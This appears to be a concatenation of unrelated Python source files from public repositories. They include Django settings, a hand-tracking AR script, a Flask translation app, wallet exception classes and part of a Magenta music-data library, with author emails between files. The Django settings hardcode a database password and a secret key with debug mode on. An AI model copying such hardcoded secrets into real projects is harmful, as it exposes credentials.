jsonData = json.load(data) titles = ['案号', '案件名称', '立案日期', '结案日期'] keys = ['ah', 'ajmc', 'larq', 'jarq'] # print(data['object']) pageView = PageView(data['object'], titles, keys) pageView.renderData() # # pageView.renderTable() pageView.show() sys.exit(app.exec_())

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[]

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clover3/Chair

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import os import data_generator from data_generator import job_runner from data_generator.argmining.ukp import DataLoader from data_generator.tokenizer_wo_tf import get_tokenizer from list_lib import lmap from tlm.data_gen.base import truncate_seq_pair from tlm.data_gen.label_as_token_encoder import encode_label_and_token_pair from tlm.data_gen.lm_datagen import UnmaskedPairedDataGen, SegmentInstance class UkpTokenAsLabelGenerator(UnmaskedPairedDataGen): def __init__(self): super(UkpTokenAsLabelGenerator, self).__init__() self.ratio_labeled = 0.1 # Probability of selecting labeled sentence def create_instances(self, topic, labeled_data): topic_tokens = self.tokenizer.tokenize(topic.replace("_", " ")) max_num_tokens = self.max_seq_length - 3 - len(topic_tokens) target_seq_length = max_num_tokens instances = [] for label, tokens_b in labeled_data: tokens_a = [] truncate_seq_pair(tokens_a, tokens_b, target_seq_length, self.rng) swap = False tokens, segment_ids = encode_label_and_token_pair(topic_tokens, label, tokens_b, tokens_a, swap) instance = SegmentInstance( tokens=tokens, segment_ids=segment_ids) instances.append(instance) return instances class UkpTokenLabelPayloadWorker(job_runner.WorkerInterface): def __init__(self, out_path, generator): self.out_dir = out_path self.generator = generator def work(self, job_id): topic = data_generator.argmining.ukp_header.all_topics[job_id] ukp_data = self.get_ukp_dev_sents(topic) insts = self.generator.create_instances(topic, ukp_data) output_file = os.path.join(self.out_dir, topic.replace(" ", "_")) self.generator.write_instances(insts, output_file) def get_ukp_dev_sents(self, topic): loader = DataLoader(topic) data = loader.get_dev_data() tokenizer = get_tokenizer() def encode(e): sent, label = e tokens = tokenizer.tokenize(sent) return label, tokens label_sent_pairs = lmap(encode, data) return label_sent_pairs

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lesterny@gmail.com

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N,A,B = map(int, input().split()) print(min(B,N*A))

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from .command import Command USER_POINT_UPDATE_COMMAND = 'command.user_point_update' class UserPointUpdateCommand(Command): def __init__(self, user_id, point): super().__init__(USER_POINT_UPDATE_COMMAND) self._user_id = user_id self._point = point @property def user_id(self): return self._user_id @property def point(self): return self._point def __str__(self): return 'user_id={},point={}'.format(self._user_id, self._point)

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alifanov/testedio

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# -*- coding: utf-8 -*- DEBUG = True MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware', ) DATABASES = { 'default': { 'ENGINE': 'django.contrib.gis.db.backends.postgis', 'NAME': 'testeddb', 'USER': 'testeduser', 'PASSWORD': 'oP1eisaiael3Sohz', 'HOST': '127.0.0.1', 'CONN_MAX_AGE': 300, } }

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lifanov.a.v@gmail.com

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""" Django settings for dj_rapidapp project. For more information on this file, see https://docs.djangoproject.com/en/1.7/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.7/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(__file__)) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '9&1cllglx)6gbweky)qzedhak(iyas$*=-delzj%kh8s()qq&w' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True TEMPLATE_DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'core', 'modules.designer', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ) ROOT_URLCONF = 'dj_rapidapp.urls' WSGI_APPLICATION = 'dj_rapidapp.wsgi.application' # Database # https://docs.djangoproject.com/en/1.7/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Internationalization # https://docs.djangoproject.com/en/1.7/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.7/howto/static-files/ STATIC_URL = '/static/'

[ "gust989@gmail.com" ]

gust989@gmail.com

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CescWang1991/LeetCode-Python

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# 174. Dungeon Game # Dynamic Programming: # 从后往前遍历，从右下角出发，dp[i][j]表示到达[i,j]时的最小HP值，dp[i][j]始终大于等于1 # 如果dungeon[i][j]为负，则dp[i][j] = min(dp[i+1][j], dp[i][j+1]) - dungeon[i][j]，为右边和下边hp的最小值 - dungeon[i][j] # 如果dungeon[i][j]为正，当dp[i][j]为负时，将其设为1。 class Solution: def calculateMinimumHP(self, dungeon): """ :type dungeon: List[List[int]] :rtype: int """ if not dungeon or not dungeon[0]: return 1 m = len(dungeon) n = len(dungeon[0]) dp = [[0] * n for i in range(m)] dp[m-1][n-1] = -dungeon[m-1][n-1]+1 if dungeon[m-1][n-1] < 0 else 1 for i in reversed(range(m - 1)): dp[i][n-1] = dp[i+1][n-1] - dungeon[i][n-1] dp[i][n-1] = 1 if dp[i][n-1] <= 0 else dp[i][n-1] for j in reversed(range(n - 1)): dp[m-1][j] = dp[m-1][j+1] - dungeon[m-1][j] dp[m-1][j] = 1 if dp[m-1][j] <= 0 else dp[m-1][j] for i in reversed(range(m - 1)): for j in reversed(range(n - 1)): dp[i][j] = min(dp[i+1][j], dp[i][j+1]) - dungeon[i][j] dp[i][j] = 1 if dp[i][j] <= 0 else dp[i][j] return dp[0][0]

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cescwang1991@gmail.com

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nateweiler84@gmail.com

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vidalchile/curso-profesional-de-python

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#Sacar provecho a nuestra documentación. """ Almacenamos las funciones dentro de nuestro diccionario, posteriormente iteramos los elementos del diccionario y en cada iteración imprimimos la documentación """ def suma(a, b): """Función suma (documentación)""" return a + b def resta(a, b): """Función resta (documentación)""" return a - b opciones = {'a' : suma, 'b': resta} print("Ingrese la opción deseada") for opcion, funcion in opciones.items(): mensaje = '{}) {}'.format(opcion, funcion.__doc__) print(mensaje) opcion = input("Opción : ")

[ "cris.vidal04@gmail.com" ]

cris.vidal04@gmail.com

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mfkiwl/handAR

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import sys import os import os.path as osp import argparse import numpy as np import cv2 import torch import torchvision.transforms as transforms from torch.nn.parallel.data_parallel import DataParallel import torch.backends.cudnn as cudnn import PIL from PIL import Image sys.path.insert(0, osp.join('..', 'main')) sys.path.insert(0, osp.join('..', 'data')) sys.path.insert(0, osp.join('..', 'common')) from config import cfg from utils.preprocessing import process_bbox, generate_patch_image from utils.transforms import pixel2cam, cam2pixel from utils.mano import MANO # sys.path.insert(0, cfg.smpl_path) sys.path.insert(0, cfg.mano_path) # from smplpytorch.pytorch.smpl_layer import SMPL_Layer from utils.manopth.manopth.manolayer import ManoLayer from utils.vis import vis_mesh, save_obj, vis_keypoints_with_skeleton from canvas import Canvas import vispy from vispy import app, io, gloo, scene, visuals from vispy.util.transforms import perspective, translate, rotate, ortho, scale import matplotlib.pyplot as plt import math cfg.set_args('0', 'lixel') cudnn.benchmark = True origin = False joint_num = 21 # MANO mesh vertex_num = 778 mano_layer = ManoLayer(ncomps=45, mano_root=cfg.mano_path + '/mano/models') face = mano_layer.th_faces.numpy() joint_regressor = mano_layer.th_J_regressor.numpy() root_joint_idx = 0 model_path = '../weights/snapshot_%d.pth.tar' % 24 assert osp.exists(model_path), 'Cannot find model at ' + model_path print('Load checkpoint from {}'.format(model_path)) from model_no_render import get_model model = get_model(vertex_num, joint_num, 'test') model = DataParallel(model).cuda() ckpt = torch.load(model_path) model.module.pose_backbone.load_state_dict(ckpt['pose_backbone']) model.module.pose_net.load_state_dict(ckpt['posenet']) model.module.pose2feat.load_state_dict(ckpt['pose2feat']) model.module.mesh_backbone.load_state_dict(ckpt['mesh_backbone']) model.module.mesh_net.load_state_dict(ckpt['mesh_net']) model.module.gcn.load_state_dict(ckpt['gcn']) model.module.global_img_feat.load_state_dict(ckpt['global_img_feat']) model.module.segmentation_net.load_state_dict(ckpt['segmentation_net']) model.eval() # Set the cuda device if torch.cuda.is_available(): device = torch.device("cuda:0") torch.cuda.set_device(device) else: device = torch.device("cpu") transform = transforms.ToTensor() def pil2opencv(img): open_cv_image = np.array(img) open_cv_image = open_cv_image[:, :, ::-1].copy() return open_cv_image def opencv2pil(img): pil_img = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB)) return pil_img def depth_buffer_to_absolute_depth(depth_buffer, near=1, far=100): depth = np.divide(depth_buffer, 255.0) z_ndc = np.subtract(np.multiply(depth, 2), 1) z_eye = np.divide(2 * near * far, np.subtract(near + far, np.multiply(z_ndc, far - near))) return z_eye brightness = contrast = 1.0 start_recording = False video = [] mesh = [] c = Canvas(mesh_name='hand', has_texture=False) faces = c.mesh.get_faces() old2new_matching = np.load('matching.npy').astype(np.int) pos_window_tvec = [] pos_window_rvec = [] def tvec_smoothing(tvec): alpha = 0.7 if np.isnan(tvec).any(): return pos_window_tvec[-1] if len(pos_window_tvec) < 4: pos_window_tvec.append(np.array(tvec)) return np.array(tvec) else: curr_tvec = np.array([0, 0, 0]) para = 0 for i in range(0, 4): curr_tvec = np.add(curr_tvec, np.multiply(pos_window_tvec[3 - i], math.pow((1 - alpha), i + 1))) para += math.pow((1 - alpha), i + 1) curr_tvec = np.add(np.multiply(tvec, alpha), np.multiply(curr_tvec, alpha)) curr_tvec /= (para * alpha + alpha) pos_window_tvec.pop(0) pos_window_tvec.append(curr_tvec) return curr_tvec def rvec_smoothing(rvec): alpha = 0.7 if len(pos_window_rvec) != 0: pass if len(pos_window_rvec) < 8: pos_window_rvec.append(np.array(rvec)) return np.array(rvec) else: curr_rvec = [0, 0, 0] para = 0 for i in range(0, 8): curr_rvec = np.add(curr_rvec, np.multiply(pos_window_rvec[7 - i], math.pow((1 - alpha), i + 1))) para += math.pow((1 - alpha), i + 1) curr_rvec = np.add(np.multiply(rvec, alpha), np.multiply(curr_rvec, alpha)) curr_rvec /= (para * alpha + alpha) # curr_rvec = np.divide(curr_rvec, alpha + alpha * para) pos_window_rvec.pop(0) pos_window_rvec.append(curr_rvec) return curr_rvec front_triangle_index = 761 back_triangle_index = 755 middle_finder_major = [395, 364] hand_layer = MANO() links = ( (0,1), (0,5), (0,9), (0,13), (0,17), (1,2), (2,3), (3,4), (5,6), (6,7), (7,8), (9,10), (10,11), (11,12), (13,14), (14,15), (15,16), (17,18), (18,19), (19,20) ) import scipy.io as scio import numpy as np import cv2 V = c.mesh.V.copy() hand_mesh = np.zeros((778, 3)) for i in range(778): hand_mesh[i] = V[:]['a_position'][old2new_matching[i], :3] origin_joint = np.dot(hand_layer.joint_regressor, hand_mesh) # Palm origin_x = V[:]['a_position'][144, :3] - V[:]['a_position'][145, :3] origin_x = origin_x / np.linalg.norm(origin_x) origin_y = V[:]['a_position'][144, :3] - V[:]['a_position'][146, :3] origin_y = origin_y / np.linalg.norm(origin_y) origin_z = np.cross(origin_x, origin_y) origin_z = origin_z / np.linalg.norm(origin_z) origin_y = np.cross(origin_x, origin_z) origin_y = origin_y / np.linalg.norm(origin_y) M_o = np.array([[origin_x[0], origin_x[1], origin_x[2]], [origin_y[0], origin_y[1], origin_y[2]], [origin_z[0], origin_z[1], origin_z[2]]]) for kkk in range(0, 100): img_path = '../imgs/' + str(kkk).zfill(4) + '.png' original_img = cv2.imread('imgs/' + img_path) original_img = original_img[:320, :320] original_img = cv2.resize(original_img, (320, 320)) frame = original_img original_img_height, original_img_width = original_img.shape[:2] h, w = frame.shape[0], frame.shape[1] if h < w: frame = frame[:, int((w - h) / 2):int((w + h) / 2)] else: frame = frame[int((h - w) / 2):int((h + w) / 2), :] frame = cv2.resize(frame, (320, 320)) pil_hand_frame = opencv2pil(frame) pil_hand_frame = PIL.ImageEnhance.Brightness(pil_hand_frame).enhance(brightness) pil_hand_frame = PIL.ImageEnhance.Color(pil_hand_frame).enhance(contrast) frame = pil2opencv(pil_hand_frame) original_img = frame original_img_height, original_img_width = original_img.shape[:2] bbox = [0, 0, 320, 320] # xmin, ymin, width, height bbox = process_bbox(bbox, original_img_width, original_img_height) img, img2bb_trans, bb2img_trans = generate_patch_image(original_img, bbox, 1.0, 0.0, False, cfg.input_img_shape) bbox_img = img.copy() img = transform(img.astype(np.float32)) / 255 img = img.cuda()[None, :, :, :] # forward inputs = {'img': img} targets = {} meta_info = {'bb2img_trans': bb2img_trans} with torch.no_grad(): out = model(inputs, targets, meta_info, 'test') img = img[0].cpu().numpy().transpose(1, 2, 0) # cfg.input_img_shape[1], cfg.input_img_shape[0], 3 if origin: mesh_lixel_img = out['mesh_coord_img'][0].cpu().numpy() else: # mesh_lixel_img = out['mesh_coord_img'][0].cpu().numpy() mesh_lixel_img = out['gcn'][0].cpu().numpy() test = mesh_lixel_img.copy() # if not origin: joint = out['pose'][0].cpu().numpy() else: joint = out['joint_coord_img'][0].cpu().numpy() pred_joint = joint.copy() # print(joint) # np.save(str(kkk) + '.npy', joint[:, :2]) # restore mesh_lixel_img to original image space and continuous depth space mesh_lixel_img[:, 0] = mesh_lixel_img[:, 0] / cfg.output_hm_shape[2] * cfg.input_img_shape[1] mesh_lixel_img[:, 1] = mesh_lixel_img[:, 1] / cfg.output_hm_shape[1] * cfg.input_img_shape[0] mesh_lixel_img[:, :2] = np.dot(bb2img_trans, np.concatenate((mesh_lixel_img[:, :2], np.ones_like(mesh_lixel_img[:, :1])), 1).transpose(1, 0)).transpose(1, 0) mesh_lixel_img[:, 2] = (mesh_lixel_img[:, 2] / cfg.output_hm_shape[0] * 2. - 1) * (cfg.bbox_3d_size / 2) joint[:, 0] = joint[:, 0] / cfg.output_hm_shape[2] * cfg.input_img_shape[1] joint[:, 1] = joint[:, 1] / cfg.output_hm_shape[1] * cfg.input_img_shape[0] joint[:, :2] = np.dot(bb2img_trans, np.concatenate((joint[:, :2], np.ones_like(joint[:, :1])), 1).transpose(1, 0)).transpose(1, 0) # visualize lixel mesh in 2D space vis_img = original_img.copy().astype(np.uint8) # res[np.where((res==(255, 255, 255)).all(axis=2))] = vis_img[np.where((res==(255, 255, 255)).all(axis=2))] # vis_img = cv2.addWeighted(vis_img, 0.5, res, 0.5, 0) vis_img = vis_mesh(vis_img, mesh_lixel_img) joint_img = original_img.copy().astype(np.uint8) joint_img = vis_keypoints_with_skeleton(joint_img, joint, links) c.view = c.default_view c.program['u_view'] = c.view c.program['u_mat_rendering'] = 0.0 homo_coord = np.append(mesh_lixel_img, np.ones((mesh_lixel_img.shape[0], 1)), axis=1) old2new_coord = np.zeros((778, 4)) for i in range(778): old2new_coord[old2new_matching[i]] = homo_coord[i] # mapped_coord = np.zeros((c.mapping.shape[0], 4)) # mapped_coord = np.zeros((958, 4)) mapped_coord = np.zeros((c.mapping.shape[0], 4)) # mapped_coord = np.zeros((778, 4)) for i in range(mapped_coord.shape[0]): mapped_coord[i] = old2new_coord[int(c.mapping[i]) - 1] mapped_coord[:, :2] = mapped_coord[:, :2] / 320 * 2 - 1 mapped_coord[:, 1] *= -1 # mapped_coord[:, :2] *= 1.04 mapped_coord[:, 2] *= 2.5 # Thickness Hacking V = c.mesh.V.copy() ###################### # Old Hand Mesh ###################### scale = 0.4 # paddle V[:]['a_position'][mapped_coord.shape[0]:, :3] -= V[:]['a_position'][145, :3] # Scale V[:]['a_position'][mapped_coord.shape[0]:, :3] *= scale ###################### # New Hand Mesh ###################### view_pos = np.dot(np.linalg.inv(c.projection.T), mapped_coord.T) model_pos = np.dot(np.linalg.inv(c.view.T), view_pos) world_pos = np.dot(np.linalg.inv(c.model.T), model_pos) world_pos = world_pos / world_pos[3, :] V[:]['a_position'][:mapped_coord.shape[0], :] = world_pos.transpose(1, 0) hand_mesh = np.zeros((778, 3)) for i in range(778): hand_mesh[i] = V[:]['a_position'][old2new_matching[i], :3] joint = np.dot(hand_layer.joint_regressor, hand_mesh) ###################### # Object Transformation ###################### object_verts = V[:]['a_position'][mapped_coord.shape[0]:, :3] object_center = np.average(object_verts, axis=0) # Rotation new_x = V[:]['a_position'][144, :3] - V[:]['a_position'][145, :3] new_x = new_x / np.linalg.norm(new_x) new_y = V[:]['a_position'][144, :3] - V[:]['a_position'][146, :3] new_y = new_y / np.linalg.norm(new_y) new_z = np.cross(new_x, new_y) new_z = new_z / np.linalg.norm(new_z) new_y = np.cross(new_x, new_z) new_y = new_y / np.linalg.norm(new_y) M_n = np.array([[new_x[0], new_x[1], new_x[2]], [new_y[0], new_y[1], new_y[2]], [new_z[0], new_z[1], new_z[2]]]) M_n = rvec_smoothing(M_n) adjust = np.zeros((3, 3)) V[:]['a_position'][mapped_coord.shape[0]:, :3] = np.dot(M_n.T, np.dot(np.linalg.inv(M_o.T), V[:]['a_position'][mapped_coord.shape[0]:, :3].T)).T pos = tvec_smoothing(V[:]['a_position'][145, :3]) V[:]['a_position'][mapped_coord.shape[0]:, :3] += pos c.vertices_buff.set_data(V) light_mat = np.zeros((4, 4)).astype(np.float) light_mat[:3, :3] = np.dot(M_n.T, np.linalg.inv(M_o.T)) light_mat[-1, -1] = 1 c.program['u_light_mat'] = light_mat c.update() frame_render = c.render() frame_render = np.array(frame_render[:, :, 0:3]) frame_render = cv2.cvtColor(frame_render, cv2.COLOR_RGB2BGR) hsv = cv2.cvtColor(frame_render, cv2.COLOR_BGR2HSV) hand_mask = cv2.inRange(hsv, (60, 0, 0), (80, 256, 256)) ###################### # Hand Mesh ###################### result = frame.copy() result[np.where(hand_mask == 0)] = frame_render[np.where(hand_mask == 0)] cv2.imshow('frame', result) key = cv2.waitKey(1) if key == ord('q'): break

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import translate, os, sentiment, synthesize from flask import Flask, render_template, url_for, jsonify, request, send_from_directory app = Flask(__name__) app.config['JSON_AS_ASCII'] = False @app.route('/') def index(): return render_template('index.html') @app.route('/translate-text', methods=['POST']) def translate_text(): data = request.get_json() text_input = data['text'] translation_output = data['to'] response = translate.get_translation(text_input, translation_output) return jsonify(response) @app.route('/favicon.ico') def favicon(): return send_from_directory(os.path.join(app.root_path, 'static'), 'favicon.ico', mimetype='image/vnd.microsoft.icon') @app.route('/sentiment-analysis', methods=['POST']) def sentiment_analysis(): data = request.get_json() input_text = data['inputText'] input_lang = data['inputLanguage'] output_text = data['outputText'] output_lang = data['outputLanguage'] response = sentiment.get_sentiment(input_text, input_lang, output_text, output_lang) return jsonify(response) @app.route('/text-to-speech', methods=['POST']) def text_to_speech(): data = request.get_json() text_input = data['text'] voice_font = data['voice'] tts = synthesize.TextToSpeech(text_input, voice_font) tts.get_token() audio_response = tts.save_audio() return audio_response

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sergiorol@hotmail.com

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aksharyash/CodeKata-GUVI

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n=int(input()) inp=list(map(int,input().split())) lst=[[inp[i],inp[j],inp[k]] for i in range(len(inp)) for j in range(len(inp)) for k in range(len(inp))if inp[i]+inp[j]==inp[k] and i<j<k] for i in lst: for j in i: if j=='[' or j==']' or j==',': pass else: print(j,end=' ') print()

[ "noreply@github.com" ]

aksharyash.noreply@github.com

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FernandoFuentesArija/marketing_de

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refs/heads/master

2020-04-13T00:23:59.468129

2019-06-13T21:13:07

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py

from bbdd_manager.Mongo_manager import Mongo_manager from bbdd_manager import ConfigVariablesBbdd from environment_creator.Object_generator import Object_generator # Creamos una conexion a la BBDD bbdd_connec = Mongo_manager(ConfigVariablesBbdd.env_database) # Creamos el objeto og1 = Object_generator(bbdd_connec) og1.create_json_with_objects("PERSON",10000)

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fernando_fuentes_arija@yahoo.es

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mfidler88/sem2-s2018

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refs/heads/master

2021-09-13T04:52:23.065894

2018-04-25T05:26:04

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# This Python file uses the following encoding: utf-8 from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals class WalletExists(Exception): """ A wallet has already been created and requires a password to be unlocked by means of :func:`dpay.wallet.unlock`. """ pass class WalletLocked(Exception): """ Wallet is locked """ pass class RPCConnectionRequired(Exception): """ An RPC connection is required """ pass class InvalidMemoKeyException(Exception): """ Memo key in message is invalid """ pass class WrongMemoKey(Exception): """ The memo provided is not equal the one on the blockchain """ pass class OfflineHasNoRPCException(Exception): """ When in offline mode, we don't have RPC """ pass class AccountExistsException(Exception): """ The requested account already exists """ pass class AccountDoesNotExistsException(Exception): """ The account does not exist """ pass class AssetDoesNotExistsException(Exception): """ The asset does not exist """ pass class InvalidAssetException(Exception): """ An invalid asset has been provided """ pass class InsufficientAuthorityError(Exception): """ The transaction requires signature of a higher authority """ pass class VotingInvalidOnArchivedPost(Exception): """ The transaction requires signature of a higher authority """ pass class MissingKeyError(Exception): """ A required key couldn't be found in the wallet """ pass class InvalidWifError(Exception): """ The provided private Key has an invalid format """ pass class BlockDoesNotExistsException(Exception): """ The block does not exist """ pass class NoWalletException(Exception): """ No Wallet could be found, please use :func:`dpay.wallet.create` to create a new wallet """ pass class WitnessDoesNotExistsException(Exception): """ The witness does not exist """ pass class ContentDoesNotExistsException(Exception): """ The content does not exist """ pass class VoteDoesNotExistsException(Exception): """ The vote does not exist """ pass class WrongMasterPasswordException(Exception): """ The password provided could not properly unlock the wallet """ pass class VestingBalanceDoesNotExistsException(Exception): """ Vesting Balance does not exist """ pass class InvalidMessageSignature(Exception): """ The message signature does not fit the message """ pass class NoWriteAccess(Exception): """ Cannot store to sqlite3 database due to missing write access """ pass class BatchedCallsNotSupported(Exception): """ Batch calls do not work """ pass class BlockWaitTimeExceeded(Exception): """ Wait time for new block exceeded """ pass

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# Copyright 2017 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """MusicVAE data library.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import abc import collections import copy import functools import itertools import random # internal imports import numpy as np import tensorflow as tf import magenta.music as mm from magenta.music import chord_symbols_lib from magenta.music import drums_encoder_decoder from magenta.music import sequences_lib from magenta.protobuf import music_pb2 PIANO_MIN_MIDI_PITCH = 21 PIANO_MAX_MIDI_PITCH = 108 MIN_MIDI_PITCH = 0 MAX_MIDI_PITCH = 127 MIDI_PITCHES = 128 MAX_INSTRUMENT_NUMBER = 127 MEL_PROGRAMS = range(0, 32) # piano, chromatic percussion, organ, guitar BASS_PROGRAMS = range(32, 40) ELECTRIC_BASS_PROGRAM = 33 REDUCED_DRUM_PITCH_CLASSES = drums_encoder_decoder.DEFAULT_DRUM_TYPE_PITCHES FULL_DRUM_PITCH_CLASSES = [ # 61 classes [p] for c in drums_encoder_decoder.DEFAULT_DRUM_TYPE_PITCHES for p in c] CHORD_SYMBOL = music_pb2.NoteSequence.TextAnnotation.CHORD_SYMBOL def _maybe_pad_seqs(seqs, dtype): """Pads sequences to match the longest and returns as a numpy array.""" if not len(seqs): # pylint:disable=g-explicit-length-test return np.zeros((0, 0, 0), dtype) lengths = [len(s) for s in seqs] if len(set(lengths)) == 1: return np.array(seqs, dtype) else: length = max(lengths) return (np.array([np.pad(s, [(0, length - len(s)), (0, 0)], mode='constant') for s in seqs], dtype)) def _extract_instrument(note_sequence, instrument): extracted_ns = copy.copy(note_sequence) del extracted_ns.notes[:] extracted_ns.notes.extend( n for n in note_sequence.notes if n.instrument == instrument) return extracted_ns def np_onehot(indices, depth, dtype=np.bool): """Converts 1D array of indices to a one-hot 2D array with given depth.""" onehot_seq = np.zeros((len(indices), depth), dtype=dtype) onehot_seq[np.arange(len(indices)), indices] = 1.0 return onehot_seq class NoteSequenceAugmenter(object): """Class for augmenting NoteSequences. Args: transpose_range: A tuple containing the inclusive, integer range of transpose amounts to sample from. If None, no transposition is applied. stretch_range: A tuple containing the inclusive, float range of stretch amounts to sample from. Returns: The augmented NoteSequence. """ def __init__(self, transpose_range=None, stretch_range=None): self._transpose_range = transpose_range self._stretch_range = stretch_range def augment(self, note_sequence): """Python implementation that augments the NoteSequence.""" trans_amt = (random.randint(*self._transpose_range) if self._transpose_range else 0) stretch_factor = (random.uniform(*self._stretch_range) if self._stretch_range else 1.0) augmented_ns = copy.deepcopy(note_sequence) del augmented_ns.notes[:] for note in note_sequence.notes: aug_pitch = note.pitch if not note.is_drum: aug_pitch += trans_amt if MIN_MIDI_PITCH <= aug_pitch <= MAX_MIDI_PITCH: augmented_ns.notes.add().CopyFrom(note) augmented_ns.notes[-1].pitch = aug_pitch for ta in augmented_ns.text_annotations: if ta.annotation_type == CHORD_SYMBOL and ta.text != mm.NO_CHORD: try: figure = chord_symbols_lib.transpose_chord_symbol(ta.text, trans_amt) except chord_symbols_lib.ChordSymbolException: tf.logging.warning('Unable to transpose chord symbol: %s', ta.text) figure = mm.NO_CHORD ta.text = figure augmented_ns = sequences_lib.stretch_note_sequence( augmented_ns, stretch_factor) return augmented_ns def tf_augment(self, note_sequence_scalar): """TF op that augments the NoteSequence.""" def _augment_str(note_sequence_str): note_sequence = music_pb2.NoteSequence.FromString(note_sequence_str) augmented_ns = self.augment(note_sequence) return [augmented_ns.SerializeToString()] augmented_note_sequence_scalar = tf.py_func( _augment_str, [note_sequence_scalar], tf.string, name='augment') augmented_note_sequence_scalar.set_shape(()) return augmented_note_sequence_scalar class ConverterTensors(collections.namedtuple( 'ConverterTensors', ['inputs', 'outputs', 'controls', 'lengths'])): """Tuple of tensors output by `to_tensors` method in converters. Attributes: inputs: Input tensors to feed to the encoder. outputs: Output tensors to feed to the decoder. controls: (Optional) tensors to use as controls for both encoding and decoding. lengths: Length of each input/output/control sequence. """ def __new__(cls, inputs=None, outputs=None, controls=None, lengths=None): if inputs is None: inputs = [] if outputs is None: outputs = [] if lengths is None: lengths = [len(i) for i in inputs] if not controls: controls = [np.zeros([l, 0]) for l in lengths] return super(ConverterTensors, cls).__new__( cls, inputs, outputs, controls, lengths) class BaseConverter(object): """Base class for data converters between items and tensors. Inheriting classes must implement the following abstract methods: -`_to_tensors` -`_to_items` """ __metaclass__ = abc.ABCMeta def __init__(self, input_depth, input_dtype, output_depth, output_dtype, control_depth=0, control_dtype=np.bool, end_token=None, max_tensors_per_item=None, str_to_item_fn=lambda s: s, length_shape=()): """Initializes BaseConverter. Args: input_depth: Depth of final dimension of input (encoder) tensors. input_dtype: DType of input (encoder) tensors. output_depth: Depth of final dimension of output (decoder) tensors. output_dtype: DType of output (decoder) tensors. control_depth: Depth of final dimension of control tensors, or zero if not conditioning on control tensors. control_dtype: DType of control tensors. end_token: Optional end token. max_tensors_per_item: The maximum number of outputs to return for each input. str_to_item_fn: Callable to convert raw string input into an item for conversion. length_shape: Shape of length returned by `to_tensor`. """ self._input_depth = input_depth self._input_dtype = input_dtype self._output_depth = output_depth self._output_dtype = output_dtype self._control_depth = control_depth self._control_dtype = control_dtype self._end_token = end_token self._max_tensors_per_input = max_tensors_per_item self._str_to_item_fn = str_to_item_fn self._is_training = False self._length_shape = length_shape @property def is_training(self): return self._is_training @property def str_to_item_fn(self): return self._str_to_item_fn @is_training.setter def is_training(self, value): self._is_training = value @property def max_tensors_per_item(self): return self._max_tensors_per_input @max_tensors_per_item.setter def max_tensors_per_item(self, value): self._max_tensors_per_input = value @property def end_token(self): """End token, or None.""" return self._end_token @property def input_depth(self): """Dimension of inputs (to encoder) at each timestep of the sequence.""" return self._input_depth @property def input_dtype(self): """DType of inputs (to encoder).""" return self._input_dtype @property def output_depth(self): """Dimension of outputs (from decoder) at each timestep of the sequence.""" return self._output_depth @property def output_dtype(self): """DType of outputs (from decoder).""" return self._output_dtype @property def control_depth(self): """Dimension of control inputs at each timestep of the sequence.""" return self._control_depth @property def control_dtype(self): """DType of control inputs.""" return self._control_dtype @property def length_shape(self): """Shape of length returned by `to_tensor`.""" return self._length_shape @abc.abstractmethod def _to_tensors(self, item): """Implementation that converts item into encoder/decoder tensors. Args: item: Item to convert. Returns: A ConverterTensors struct containing encoder inputs, decoder outputs, (optional) control tensors used for both encoding and decoding, and sequence lengths. """ pass @abc.abstractmethod def _to_items(self, samples, controls=None): """Implementation that decodes model samples into list of items.""" pass def _maybe_sample_outputs(self, outputs): """If should limit outputs, returns up to limit (randomly if training).""" if (not self.max_tensors_per_item or len(outputs) <= self.max_tensors_per_item): return outputs if self.is_training: indices = set(np.random.choice( len(outputs), size=self.max_tensors_per_item, replace=False)) return [outputs[i] for i in indices] else: return outputs[:self.max_tensors_per_item] def to_tensors(self, item): """Python method that converts `item` into list of tensors.""" tensors = self._to_tensors(item) sampled_results = self._maybe_sample_outputs(list(zip(*tensors))) return (ConverterTensors(*zip(*sampled_results)) if sampled_results else ConverterTensors()) def _combine_to_tensor_results(self, to_tensor_results): """Combines the results of multiple to_tensors calls into one result.""" results = [] for result in to_tensor_results: results.extend(zip(*result)) sampled_results = self._maybe_sample_outputs(results) return (ConverterTensors(*zip(*sampled_results)) if sampled_results else ConverterTensors()) def to_items(self, samples, controls=None): """Python method that decodes samples into list of items.""" if controls is None: return self._to_items(samples) else: return 